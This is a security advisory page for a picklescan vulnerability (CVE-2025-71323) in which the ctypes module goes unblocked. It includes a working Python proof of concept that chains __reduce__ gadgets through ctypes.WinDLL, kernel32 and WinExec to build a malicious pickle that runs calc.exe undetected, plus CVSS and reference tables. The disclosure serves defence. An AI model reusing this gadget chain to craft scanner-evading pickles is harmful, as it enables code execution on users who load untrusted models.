Advisory details:
pypa / picklescan/PYSEC-2026-1782
| Advisory ID | pypa/picklescan/PYSEC-2026-1782 |
| Aliases |
CVE-2025-71323
GHSA-4675-36f9-wf6r PYSEC-2026-1782 |
| Summary | Picklescan does not block ctypes ### Summary Picklescan doesnt flag ctypes module as a dangerous module, which is a huge issue. ctypes is basically a foreign function interface library and can be used to * Load DLLs * Call C functions directly * Manipulate memory raw pointers. This can allow attackers to achieve RCE by invoking direct syscalls without going through blocked modules. Another major issue that ctypes being allowed presents is that it can be used down the line to dismantle interpreter based python sandboxes as ctypes allow direct access to raw memory. This is a more severe loophole than normal gadget chains and bypasses as raw memory access can be used for a lot of nefarious purposes down the line if left undetected ### PoC ```python import pickle import ctypes import operator class Kernel32Loader: def __reduce__(self): #we go direct to the kerneeellllllll return (ctypes.WinDLL, ("kernel32.dll",)) class WinExecGetter: def __reduce__(self): return (operator.itemgetter("WinExec"), (Kernel32Loader(),)) class PopCalc: def __reduce__(self): #methodcaller to invoke "__call__" on the function pointer. return ( operator.methodcaller("__call__", b"calc.exe", 1), (WinExecGetter(),) ) try: payload = pickle.dumps(PopCalc()) with open("calc_exploit.pkl", "wb") as f: f.write(payload) print("Generated 'calc_exploit.pkl'") except Exception as e: print(f"Generation failed: {e}") ``` This will create a pickle file which is not detected by the latest version of picklescan as malicious ```python import pickle print("Loading bypass.pkl...") pickle.load(open("calc_exploit.pkl", "rb")) ``` <img width="1333" height="677" alt="image" src="https://github.com/user-attachments/assets/f5b066f3-116a-4377-a538-f293f3a6c176" /> |
| Status | Published |
| Exploitability | 0.5 |
| Weighted Severity | 8.8 |
| Risk | 4.4 |
| Affected and Fixed Packages | Package Details |
| Introduced and Fixed Package Commit Patches | Package Commit Patches Details |
| There are no known CWE. |
| System | Score | Found at |
|---|---|---|
| cvssv3.1 | 9.8 | https://github.com/pypa/advisory-database/blob/main/vulns/picklescan/PYSEC-2026-1782.yaml |
| cvssv4 | 8.9 | https://github.com/pypa/advisory-database/blob/main/vulns/picklescan/PYSEC-2026-1782.yaml |
| Reference id | Reference type | URL |
|---|---|---|
| https://github.com/mmaitre314/picklescan | ||
| https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab | ||
| https://github.com/mmaitre314/picklescan/pull/53 | ||
| https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33 | ||
| https://pypi.org/project/picklescan | ||
| CVE-2025-71323 | https://nvd.nist.gov/vuln/detail/CVE-2025-71323 | |
| GHSA-4675-36f9-wf6r | https://github.com/advisories/GHSA-4675-36f9-wf6r | |
| GHSA-4675-36f9-wf6r | https://github.com/mmaitre314/picklescan/security/advisories/GHSA-4675-36f9-wf6r | |
| picklescan-remote-code-execution-via-unblocked-ctypes-module | Advisory | https://www.vulncheck.com/advisories/picklescan-remote-code-execution-via-unblocked-ctypes-module |
No EPSS data available for this advisory.
| Patch URL | |
|---|---|
| There are no known patches. | |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
| Attack Vector (AV) | Attack Complexity (AC) | Attack Requirements (AT) | Privileges Required (PR) | User Interaction (UI) | Vulnerable System Impact Confidentiality (VC) | Vulnerable System Impact Integrity (VI) | Vulnerable System Impact Availability (VA) | Subsequent System Impact Confidentiality (SC) | Subsequent System Impact Integrity (SI) | Subsequent System Impact Availability (SA) |
|---|---|---|---|---|---|---|---|---|---|---|
network adjacent local physical |
low high |
none present |
none low high |
none passive active |
high low none |
high low none |
high low none |
high low none |
high low none |
high low none |
Vector: SSVCv2/E:P/A:Y/T:T/P:M/B:A/M:M/D:R/2026-06-17T17:49:28Z/
Decision: Track*
Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2025/71xxx/CVE-2025-71323.json
Source Advisory: vulnrichment/CVE-2025-71323
[{'Exploitation': 'poc'},
{'Automatable': 'yes'},
{'Technical Impact': 'total'},
{'Mission Prevalence': 'minimal'},
{'Public Well-being Impact': 'material'},
{'Mission & Well-being': 'medium'}]